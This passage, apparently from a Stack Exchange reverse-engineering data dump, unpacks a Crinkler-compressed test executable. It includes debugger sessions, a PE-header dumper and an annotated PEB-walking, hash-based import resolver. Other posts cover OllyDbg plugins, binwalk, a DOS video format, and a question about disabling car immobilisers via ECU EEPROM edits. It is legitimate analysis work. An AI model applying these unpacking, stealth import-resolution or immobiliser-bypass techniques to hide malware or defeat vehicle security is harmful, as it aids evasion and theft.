7D 22 BF 3C 30 2F DD C7  Bö÷ˆ..”h}&quot;¿&amp;lt;0/ÝÇ&#xA;00000150  6B F9 26 24 83 12 7D A2 3A 05 85 FE B3 D2 B1 CF  kù&amp;amp;$ƒ.}¢:.…þ³Ò±Ï&#xA;00000160  0F B2 80 7D 9A 49 1C 61 97 36 9F 22 F6 54 CD 3F  .²€}šI.a—6Ÿ&quot;öTÍ?&#xA;00000170  3B 0E 4B 81 F7 A3 6D 3C 54 89 06 C3 37 51 99 E0  ;.K.÷£m&amp;lt;T‰.Ã7Q™à&#xA;00000180  E6 1E D8 B1 E4 7C 73 D4 9C 36 78 DA 27 8C 39 F3  æ.Ø±ä|sÔœ6xÚ'Œ9ó&#xA;00000190  BD BF 42 6B F3 1C D9 B1 E7 A5 E7 60 1F C6 5B DF  ½¿Bkó.Ù±ç¥ç`.Æ[ß&#xA;000001A0  8F A6 47 E0 B5 A7 DD 3D D6 4A CA 91 3C 35 B3 74  .¦Gàµ§Ý=ÖJÊ‘&amp;lt;5³t&#xA;000001B0  CB A1 81 90 90 32 39 E4 B0 0F 4D EA E4 EA 2F 0A  Ë¡...29ä°.Mêäê/.&#xA;000001C0  6C 06 7C 8F E8 9B B1 50 6E 55 0B                 l.|.è›±PnU.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;linux file utility says it is a ms dos exe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;dumpbin complains no COFF header&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpbin /nologo crinky.exe&#xA;&#xA;Dump of file crinky.exe&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;LINK : fatal error LNK1235: corrupt or invalid COFF symbol table&#xA;&#xA;file crinky.exe&#xA;crinky.exe; MS-DOS executable, MZ for MS-DOS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;loaded it into windbg and looked at header &#xA;appears to be completely corrupt &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;.foreach /pS 4 /ps 100 (place { lm }) { !dh place };q&quot; crinky.exe | grep quit: -B 53&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;FILE HEADER VALUES&#xA;     14C machine (i386)&#xA;       0 number of sections&#xA;7F61DB01 time date stamp Mon Sep 21 09:48:09 2037&#xA;&#xA;7317D010 file pointer to symbol table&#xA;F9EB4775 number of symbols&#xA;       8 size of optional header&#xA;       2 characteristics&#xA;            Executable&#xA;&#xA;OPTIONAL HEADER VALUES&#xA;     10B magic #&#xA;  17.201 linker version&#xA;79C08545 size of code&#xA;50D3011F size of initialized data&#xA;3D90E2F7 size of uninitialized data&#xA;      5C address of entry point&#xA;C139F3F7 base of code&#xA;         ----- new -----&#xA;00400000 image base&#xA;       4 section alignment&#xA;       4 file alignment&#xA;       2 subsystem (Windows GUI)&#xA;41743.10541 operating system version&#xA;16385.36096 image version&#xA; 4.52971 subsystem version&#xA; 642B6EB size of image&#xA;      40 size of headers&#xA;BBED3153 checksum&#xA;0114be90 size of stack reserve&#xA;016a0040 size of stack commit&#xA;0000bf58 size of heap reserve&#xA;00b10042 size of heap commit&#xA;       0  DLL characteristics&#xA;       0 [9207725A] address [size] of Export Directory&#xA;   4D129 [AD60D029] address [size] of Import Directory&#xA;2C74F801 [895A0A6A] address [size] of Resource Directory&#xA;54895414 [31AD1024] address [size] of Exception Directory&#xA; 1454DED [74FB72C0] address [size] of Security Directory&#xA;88AC60AF [6B0732C2] address [size] of Base Relocation Directory&#xA;87026FC0 [       0] address [size] of Debug Directory&#xA;D2004F48 [F975EF72] address [size] of Description Directory&#xA;4200CEBF [E9F5B900] address [size] of Special Directory&#xA; C73031F [ AAB66F3] address [size] of Thread Storage Directory&#xA;768D6106 [C3B77B0C] address [size] of Load Configuration Directory&#xA;3C8DF1F7 [31E98957] address [size] of Bound Import Directory&#xA; 474AEC0 [ 2750700] address [size] of Import Address Table Directory&#xA;B60F4141 [E2D30714] address [size] of Delay Import Directory&#xA;34845401 [85F37A48] address [size] of COR20 Header Directory&#xA;D00D7FDB [ 3751F2C] address [size] of Reserved Directory&#xA;&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tested if the entry point function is a function with single exit using cdb &#xA;there were no indirect calls / jmps and it contained only one exit a single return&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;g @$exentry;uf @eip;q&quot; crinky.exe | grep -iE &quot;call|ret&quot;&#xA;004000d3 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so set a bp there and executed and dumped the decryted area&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;g 4000d3;t \&quot;dc @eip l38;q\&quot;&quot; crinky.exe  | grep quit: -B 17&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'g 4000d3;t &quot;dc @eip l38;q&quot;'&#xA;*** WARNING: Unable to verify timestamp for image00400000&#xA;*** ERROR: Module load completed but symbols could not be loaded for image00400000&#xA;00420000  400108bb 00abbe00 00bf0042 58004300  ...@....B....C.X&#xA;00420010  8b0c408b 008b0c40 688b008b 75ed8518  .@..@......h...u&#xA;00420020  6a006a0e 006a5200 000815ff 31c30043  .j.j.Rj.....C..1&#xA;00420030  6091acc0 013c458b 78508be8 4a8bea01  ...`.E&amp;lt;...Px...J&#xA;00420040  20428b18 748be801 ee01fc88 c7c1ff31  ..B ...t....1...&#xA;00420050  acc03106 7d48c731 e03b3bf5 24428be4  .1..1.H}.;;...B$&#xA;00420060  8b66e801 428b480c 8be8011c 44898804  ..f..H.B.......D&#xA;00420070  01611c24 c383abe8 56b8e204 000415ff  $.a........V....&#xA;00420080  89950043 c8feacf2 c0fefb79 006a8f74  C.......y...t.j.&#xA;00420090  4200b868 00c06800 006a0042 000815ff  h..B.h..B.j.....&#xA;004200a0  006a0043 000015ff 02cc0043 72657375  C.j.....C...user&#xA;004200b0  01003233 000000ff 4e495243 00454c4b  32......CRINKLE.&#xA;004200c0  74736554 20676e69 6e697243 0000796b  Testing Crinky..&#xA;004200d0  00000000 00000000 00000000 00000000  ................&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it appears the data has been decrypted but imports are resolved here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any way we can reach our code in three calls &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;g 4000d3;rm 0;pct 3&quot;  crinky.exe&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'g 4000d3;rm 0;pct 3'&#xA;0042007c ff1504004300    call  dword ptr [(00430004)] ={kernel32!LoadLibraryA (7676395c)}&#xA;0042007c ff1504004300    call  dword ptr [(00430004)] ={kernel32!LoadLibraryA (7676395c)}&#xA;0042009c ff1508004300    call  dword ptr [(00430008)] ={user32!MessageBoxA (75e6ea11)}&#xA;0:000&amp;gt; ub @eip&#xA;image00400000+0x20086:&#xA;00420086 fec8            dec     al&#xA;00420088 79fb            jns     image00400000+0x20085 (00420085)&#xA;0042008a fec0            inc     al&#xA;0042008c 748f            je      image00400000+0x2001d (0042001d)&#xA;0042008e 6a00            push    0&#xA;00420090 68b8004200      push    offset image00400000+0x200b8 (004200b8)&#xA;00420095 68c0004200      push    offset image00400000+0x200c0 (004200c0)&#xA;0042009a 6a00            push    0&#xA;0:000&amp;gt; da 4200b8&#xA;004200b8  &quot;CRINKLE&quot;&#xA;0:000&amp;gt; da 4200c0&#xA;004200c0  &quot;Testing Crinky&quot;&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;based on these the uncompressed executable may be impossible to dump without serious code ( it doesn't have any import table / nor pe header to work with )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you may have to prepend a pe header and append an import section to the raw memory &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as to ollydumpex it is a tool with lots of options &lt;/p&gt;&#xA;&#xA;&lt;p&gt;pebase &#xA;you can either select any module , memory range , address range &#xA;list section will list the found section based on the pebase selection &#xA;for example if you choose memory list sections will list the whole virtual address range from 0x10000 to 0x7fffffff (32 bit 2 gb va range )&#xA;when you rescan  search pe searches for pe header in the range &lt;/p&gt;&#xA;&#xA;&lt;p&gt;dump mode rebuild tries to rebuild the imports if possible (possibly runnable exe)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;raw dumps what is in memory (usefull for forensics not fro running the exe) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but you can see ollydumpex complaining corrupt header in status bar &#xA;so dumping with ollydumpex is not a viable option as of now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;well you can dump the contents if you start coding a special dumper &#xA;fill the pe headers imports etc it might be serious work maybe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;s small start &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int dumpdos (char * filepath){&#xA;  IMAGE_DOS_HEADER imdos = {0};&#xA;  FILE * fp = fopen(filepath,&quot;r&quot;);&#xA;  if(fp)  { fseek(fp,0,SEEK_SET);&#xA;    fread(&amp;amp;imdos,sizeof(BYTE),sizeof(IMAGE_DOS_HEADER),fp); fclose(fp);&#xA;  }&#xA;  printf(&quot;%08x\n&quot;,imdos.e_magic);&#xA;  printf(&quot;%08x\n&quot;,imdos.e_lfanew);&#xA;  return imdos.e_lfanew;&#xA;}&#xA;void dumpnt (char * filepath , int off_pehead){&#xA;  IMAGE_NT_HEADERS imnt = {0};&#xA;  FILE * fp = fopen(filepath,&quot;r&quot;);&#xA;  if(fp)  { fseek(fp,off_pehead,SEEK_SET);&#xA;    fread(&amp;amp;imnt,sizeof(BYTE),sizeof(IMAGE_NT_HEADERS),fp); fclose(fp);&#xA;  }&#xA;  printf(&quot;%08x\n&quot;,imnt.Signature);&#xA;  printf(&quot;%08x\n&quot;,imnt.FileHeader.Machine);&#xA;  printf(&quot;%08x\n&quot;,imnt.FileHeader.NumberOfSections);&#xA;  printf(&quot;%08x\n&quot;,imnt.FileHeader.SizeOfOptionalHeader);&#xA;  printf(&quot;%08x\n&quot;,imnt.OptionalHeader.Magic);&#xA;  printf(&quot;%08x\n&quot;,imnt.OptionalHeader.AddressOfEntryPoint); &#xA;  printf(&quot;%08x\n&quot;,imnt.OptionalHeader.ImageBase);&#xA;}&#xA;void main (int argc,char* argv[]){&#xA;  if(argc !=2){     printf(&quot;usage %s &amp;lt;path to binary&amp;gt;&quot;,argv[0] ); exit(-1); }&#xA;  printf (&quot;dumping e_magic and e_lfanew from header of %s\n&quot; , argv[1]);&#xA;  int pehead = dumpdos(argv[1]);&#xA;  printf(&quot;dumping NtSig , M/c, sect_nos, sizeopt_hdr, opthdrmagic, &amp;amp;EP, imgbase\n&quot;);&#xA;  dumpnt(argv[1],pehead);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executing it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpcrink.exe ..\crinky.exe&#xA;&#xA;dumping e_magic and e_lfanew from header of ..\crinky.exe&#xA;00005a4d&#xA;00000004&#xA;dumping NtSig , M/c, sect_nos, sizeopt_hdr, opthdrmagic, &amp;amp;EP, imgbase&#xA;00004550&#xA;0000014c&#xA;00000000&#xA;00000008&#xA;0000010b&#xA;0000005c&#xA;00400000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the custom import resolver is cute &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Command                                  Comments&#xA;00420000  MOV     EBX, OFFSET 00400108             ; hashtable&#xA;00420005  MOV     ESI, OFFSET 004200AB             ; no of imports to resolve in k32&#xA;0042000A  MOV     EDI, OFFSET 00430000             ; destination for resolved imports&#xA;0042000F  POP     EAX                              ; peb&#xA;00420010  MOV     EAX, DWORD PTR DS:[EAX+0C]       ; Peb.Ldr&#xA;00420013  MOV     EAX, DWORD PTR DS:[EAX+0C]       ; inLoadorderModuleList&#xA;00420016  MOV     EAX, DWORD PTR DS:[EAX]          ; flink ntdll&#xA;00420018  MOV     EAX, DWORD PTR DS:[EAX]          ; flink k32&#xA;0042001A  MOV     EBP, DWORD PTR DS:[EAX+18]       ; kernel32.dllbaseAddr&#xA;0042001D  TEST    EBP, EBP                         &#xA;;  dx ((ntdll!_LDR_DATA_TABLE_ENTRY *)((int )((ntdll!_PEB *) @$peb)-&amp;gt;Ldr-&amp;gt;&#xA;;InLoadOrderModuleList.Flink-&amp;gt;Flink-&amp;gt;Flink))-&amp;gt;DllBase&#xA;0042001F  JNE     SHORT 0042002F                   ; if this is not k32base exit&#xA;00420021  PUSH    0&#xA;00420023  PUSH    0&#xA;00420025  PUSH    EDX&#xA;00420026  PUSH    0&#xA;00420028  CALL    NEAR DWORD PTR DS:[430008]       ; will never reach here &#xA;;if reaches here in case of no k32 it will crash with null dereference&#xA;0042002E  RETN&#xA;0042002F  XOR     EAX, EAX&#xA;00420031  LODS    BYTE PTR DS:[ESI]                ; no of imports from k32&#xA;00420032  XCHG    EAX, ECX                         ; save no of imports from k32&#xA;00420033  PUSHAD&#xA;00420034  MOV     EAX, DWORD PTR SS:[EBP+3C]       ; k32peheaderptr (e_lfanew)&#xA;00420037  ADD     EAX, EBP                         ; k32peheaderptr PE&#xA;00420039  MOV     EDX, DWORD PTR DS:[EAX+78]       ; exporttable of k32&#xA;0042003C  ADD     EDX, EBP                         ; k32_imageexportdir&#xA;0042003E  MOV     ECX, DWORD PTR DS:[EDX+18]       ; noofname&#xA;00420041  MOV     EAX, DWORD PTR DS:[EDX+20]       ; addressofnamerva&#xA;00420044  ADD     EAX, EBP                         ; virtualaddrof export names&#xA;00420046  MOV     ESI, DWORD PTR DS:[ECX*4+EAX-4]  ; last export rva&#xA;0042004A  ADD     ESI, EBP                         ; last export addr name&#xA;0042004C  XOR     EDI, EDI                         ; 0&#xA;0042004E  ROL     EDI, 6                           ; creating hash&#xA;00420051  XOR     EAX, EAX&#xA;00420053  LODS    BYTE PTR DS:[ESI]                ; first/nth letter of export name&#xA;00420054  XOR     EDI, EAX&#xA;00420056  DEC     EAX&#xA;00420057  JGE     SHORT 0042004E                   ; null termin seek&#xA;00420059  CMP     EDI, DWORD PTR DS:[EBX]          ; comparehash with [400108]&#xA;0042005B  LOOPNZ  SHORT 00420041                   ; reloop&#xA;0042005D  MOV     EAX, DWORD PTR DS:[EDX+24]       ; matched hash end of iit&#xA;00420060  ADD     EAX, EBP&#xA;00420062  MOV     CX, WORD PTR DS:[ECX*2+EAX]&#xA;00420066  MOV     EAX, DWORD PTR DS:[EDX+1C]       ; addroffunctions&#xA;00420069  ADD     EAX, EBP&#xA;0042006B  MOV     EAX, DWORD PTR DS:[ECX*4+EAX]&#xA;0042006E  MOV     DWORD PTR SS:[ESP+1C], EAX       &#xA;; modify register eax so popad will hold the rva of k32 export&#xA;00420072  POPAD                                    ; eax stays same as addr of &#xA;;functions&#xA;00420073  ADD     EAX, EBP                         ; rva+ base = addr of proc&#xA;00420075  STOS    DWORD PTR ES:[EDI]               ; getprocaddr achieved&#xA;00420076  ADD     EBX, 4                           ; store at 430000&#xA;00420079  LOOP    SHORT 00420033                   &#xA;  ; resolves all exports from k32 + loadlibrary&#xA;0042007B  PUSH    ESI                              ; ASCII &quot;user32&quot;&#xA;0042007C  CALL    NEAR DWORD PTR DS:[430004]       ; loadlibs user32 or whatever dll&#xA;00420082  XCHG    EAX, EBP&#xA;00420083  MOV     EDX, ESI                         ; ASCII &quot;user32&quot;&#xA;00420085  LODS    BYTE PTR DS:[ESI]                ; again null term for dll name&#xA;00420086  DEC     AL&#xA;00420088  JNS     SHORT 00420085&#xA;0042008A  INC     AL&#xA;0042008C  JE      SHORT 0042001D                   ;&#xA;; so this is standard sized custom import resolver&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so i created another exe with more api calls and checked it and&lt;br&gt;&#xA;set a hardware exec bp on 42008e and f9nned i landed on actual code   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump               Command                                                  Comments&#xA;004000BC    BF 3A014200          MOV     EDI, OFFSET 0042013A &amp;lt;---------&#xA;004000C1    B9 23E91F03          MOV     ECX, OFFSET 031FE923&#xA;004000C6    73 0C                JAE     SHORT 004000D4&#xA;004000C8    F3:66:AB             REP STOS WORD PTR ES:[EDI]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so 42008e is start of actual code and spans upto the hard coded address&lt;br&gt;&#xA;   430000 is resolved imports   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Dump&#xA;Address   Hex dump                                         ASCII&#xA;0042008E  53 56 8B 35|08 00 43 00|33 DB 57 53|BF E4 00 42| SV‹5 C 3ÛWS¿ä B&#xA;0042009E  00 57 68 1C|01 42 00 53|FF D6 53 57|68 0C 01 42|  WhB SÿÖSWhB&#xA;004200AE  00 53 FF D6|53 57 68 2C|01 42 00 53|FF D6 53 57|  SÿÖSWh,B SÿÖSW&#xA;004200BE  68 FC 00 42|00 53 FF D6|53 57 68 EC|00 42 00 53| hü B SÿÖSWhì B S&#xA;004200CE  FF D6 53 FF|15 00 00 43|00 5F 5E 5B|02 75 73 65| ÿÖSÿ  C _^[use&#xA;004200DE  72 33 32 00|01 FF 43 52|49 4E 4B 4C|45 00 54 65| r32 ÿCRINKLE Te&#xA;004200EE  73 74 69 6E|67 20 43 72|6F 6E 6B 79|00 00 54 65| sting Cronky  Te&#xA;004200FE  73 74 69 6E|67 20 43 72|65 6E 6B 79|00 00 54 65| sting Crenky  Te&#xA;0042010E  73 74 69 6E|67 20 43 72|61 6E 6B 79|00 00 54 65| sting Cranky  Te&#xA;0042011E  73 74 69 6E|67 20 43 72|69 6E 6B 79|00 00 54 65| sting Crinky  Te&#xA;0042012E  73 74 69 6E|67 20 43 72|75 6E 6B 79|00 00 00 00| sting Crunky&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if i binary copy and dump it to a bin file i can easily analyze it with ida &#xA;by rebasing it  0x40008e creating an xtern segment a, d  etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;josh wrote a lengthy post below with patching  instructions one doesnt have to go patching instructions all that is needed is hw bp 0x42008e -&gt; f9 _&gt; &#xA;change addr of entry point to 2008e instead of 5c in the original pe header &#xA;create backup and save backup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this mem dump can be loaded as is in idapro and it will be dandy enough like a pristine exe&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ollydbg crinkledexe -&amp;gt; ctrl+g 42008e -&amp;gt; right click-&amp;gt; exec hw bpt -&amp;gt; f9 _&amp;gt; patch ADDROF ENTRYPOINT TO 0X2008E INSTEAD OF 0X5C -&amp;gt;right click_&amp;gt; createbackup _&amp;gt; right click _&amp;gt; save backup-&amp;gt; load in ida demo 6.9 bingo it is as nice as it get &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-11-20T05:32:31.653" LastActivityDate="2016-11-20T05:32:31.653" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="13939" PostTypeId="1" AcceptedAnswerId="13946" CreationDate="2016-11-15T16:09:06.090" Score="0" ViewCount="279" Body="&lt;p&gt;I'm trying to figure out how to copy API function names to clipboard to analize the asm listing properly on my own editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see OllyDBG gives you the ability to mouse over a call and seeing the function name in a little window, that's quite cool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vv8F8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vv8F8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But... I don't see any way around to copy these function names to the clipboard so i could speed the process of play around with the final asm listing stored on disk faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before even considering this manual copy/pasting I've thought about using a promising plugin called asm2clipboard but that one doesn't seem to work with ollydbg v2.01.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually API calls would appear in the form of comments when debugging normal exes, but these particular API functions were loaded by hash and are called via a pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, if there isn't any workaroudn about this, how can i learn how to build ollydbg v2.01 plugins? I see this another &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/8292/18079&quot;&gt;thread&lt;/a&gt; with a hello world example but it seems it requires &lt;code&gt;plugin.h&lt;/code&gt; and &lt;code&gt;ollydbg.lib&lt;/code&gt;, where can i find them? They don't seem to live in the &lt;a href=&quot;http://www.ollydbg.de/odbg201.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;odbg201.zip&lt;/a&gt; file&lt;/p&gt;&#xA;" OwnerUserId="18079" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-11-18T11:18:45.410" Title="How to copy API calls names to clipboard on OllyDBG v2.01?" Tags="|ollydbg|tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13940" PostTypeId="1" CreationDate="2016-11-15T20:29:29.473" Score="1" ViewCount="2009" Body="&lt;p&gt;I am learning how to reverse engineer the EEprom data in Automotive ECUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For such purposes as to disable the immobilisers, find millage data and workout encoded VIN numbers among other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can slowly work out certain things like the VIN number by changing it through diagnostics software and then comparing the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I struggle is when trying to disable the immobilisers and other configurations. There are companies who have worked out how to on certain ECUs and supply the data. Often the solution is just to change one or two bytes of data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im struggling to understand how they would go about finding what bit of data to change, obviously they don't just each bit of data bit by bit and hope for the best as there would be millions of combinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you approach reverse engineering such system?&lt;/p&gt;&#xA;" OwnerUserId="18094" LastEditorUserId="1413" LastEditDate="2016-11-16T03:45:35.960" LastActivityDate="2017-03-14T14:40:29.347" Title="How to reverse engineer hex data on EEprom?" Tags="|hardware|hex|embedded|" AnswerCount="1" CommentCount="2" ClosedDate="2017-03-16T14:17:49.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="13944" PostTypeId="1" AcceptedAnswerId="14026" CreationDate="2016-11-16T11:18:20.543" Score="1" ViewCount="5238" Body="&lt;p&gt;This should have been made easy using &lt;code&gt;binwalk&lt;/code&gt; however I fail to understand what I did wrong with the following syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ wget --content-disposition https://github.com/devttys0/binwalk/archive/v2.1.1.zip&#xA;$ wget --content-disposition https://github.com/devttys0/binwalk/archive/v2.0.1.zip&#xA;$ cat binwalk-2.0.1.zip binwalk-2.1.1.zip &amp;gt; full&#xA;$ binwalk -r -C output -e full&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lead to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ls output/_full.extracted&#xA;binwalk-2.1.1/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly it is missing the &lt;code&gt;binwalk-2.0.1&lt;/code&gt; expanded directory. Where did &lt;code&gt;binwalk-2.0.1&lt;/code&gt; go ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to use the &lt;code&gt;-r&lt;/code&gt; flag (Delete carved files after extraction), because it generates enormous zip and fill my disk (see &lt;a href=&quot;https://github.com/devttys0/binwalk/issues/153&quot; rel=&quot;nofollow noreferrer&quot;&gt;Carved files are often equal in size to the original file&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2016-11-28T07:53:02.337" LastActivityDate="2016-11-28T07:53:02.337" Title="Automatically extract known file types (eg. zip) using binwalk" Tags="|binary-analysis|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13945" PostTypeId="1" CreationDate="2016-11-16T13:46:36.190" Score="4" ViewCount="173" Body="&lt;p&gt;I am trying to write a decoder for an old video format used in a DOS game, the &lt;a href=&quot;https://wiki.multimedia.cx/index.php?title=Psygnosis_SMV&quot; rel=&quot;noreferrer&quot;&gt;Psygnosis SMV video format&lt;/a&gt;, but I'm having a hard time understanding the image decoding process, specifically this section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Macroblocks drawing&#xA;&#xA;Macroblocks are stored in the following format:&#xA;&#xA; u8 pixels[16 * num_mblocks]&#xA; u4 nibbles[num_mblocks]&#xA;&#xA;Size of pixels[] is equal to ST chunk's nibbles.&#xA;For each macroblock draw it by indexing its pixels by nibbles.&#xA;First nibble stored in top 4 bits of byte.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the properties of the frame I am trying to decode:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;image width = 320&lt;/li&gt;&#xA;&lt;li&gt;image height = 192&lt;/li&gt;&#xA;&lt;li&gt;macroblock width = 16&lt;/li&gt;&#xA;&lt;li&gt;macroblock height = 16&lt;/li&gt;&#xA;&lt;li&gt;nibbles = 3840&lt;/li&gt;&#xA;&lt;li&gt;frame size in bytes = 34560&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So according these, I computed the following values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;num_mblocks = nibbles / 16 = 3840 / 16 = 240 macroblocks&#xA;&#xA;further checking:&#xA;(image width / macroblock width) * (image height / macroblock height)&#xA;= (320 / 16) * (192 / 16)&#xA;= 20 * 12&#xA;= 240 macroblocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1st problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The size of &lt;code&gt;u8 pixels[16 * num_mblocks]&lt;/code&gt; is indeed 3840 bytes, but what is the size of &lt;code&gt;u4 nibbles[num_mblocks]&lt;/code&gt; supposed to be ? 240 bytes or half that amount since the type is &lt;code&gt;u4&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2nd problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I divide the &lt;code&gt;frame size in bytes&lt;/code&gt; by the number of &lt;code&gt;macroblocks&lt;/code&gt; I end up with only 144 bytes per macroblock (34560 / 240 = 144), but to me this is very far from what it's supposed to be, I guess I'm wrong somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3rd problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author wrote:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For each macroblock draw it by indexing its pixels by nibbles.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what does that mean exactly ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you explain/shed some light on how one is supposed to decode a frame ?&lt;/p&gt;&#xA;" OwnerUserId="4122" LastActivityDate="2016-11-16T18:18:31.377" Title="What does the author mean in these reverse engineering notes?" Tags="|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13946" PostTypeId="2" ParentId="13939" CreationDate="2016-11-16T16:20:43.793" Score="2" Body="&lt;p&gt;The plugin is available in an old beta version iirc 201 h scroll down a little in the sites page you should see it on nov 19 2012 entry  look here for my earlier post iirc i posted a full plugin src with compile instructions using vc++  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9514/avoid-re-enabling-patches-between-reruns-in-ollydbg/&quot;&gt;Avoid re-enabling patches between reruns in Ollydbg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8630/command-for-command-line-plugin-does-not-work&quot;&gt;Command for Command line plugin does not work&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a source code for getting the information&lt;br&gt;&#xA;usage right click in disassemble window to find men Blabbtest&lt;br&gt;&#xA;on execution you will get a msgbox with the name of the api &lt;/p&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with enterprise wdk compiler and linker&#xA;using &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cl /nologo /J /W4 /Ox /Zi /analyze /EHsc /LD *.cpp /link user32.lib ollydbg.lib&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _UNICODE&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &quot;plugin.h&quot;&#xA;void Disassemble(ulong addr,ulong 